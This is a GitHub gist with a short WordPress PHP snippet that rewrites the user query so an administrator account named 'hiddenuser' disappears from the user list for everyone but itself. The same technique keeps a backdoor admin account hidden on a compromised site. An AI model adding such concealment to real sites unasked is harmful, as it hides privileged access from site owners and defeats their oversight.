Skip to content

Instantly share code, notes, and snippets.

@hslaszlo
Created May 6, 2019 08:52
Show Gist options
  • Save hslaszlo/cd2d3a89aaf3493ee54e25f33d2f6a20 to your computer and use it in GitHub Desktop.
Save hslaszlo/cd2d3a89aaf3493ee54e25f33d2f6a20 to your computer and use it in GitHub Desktop.
Hide a particular admin account from wordpress user list
<?php
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment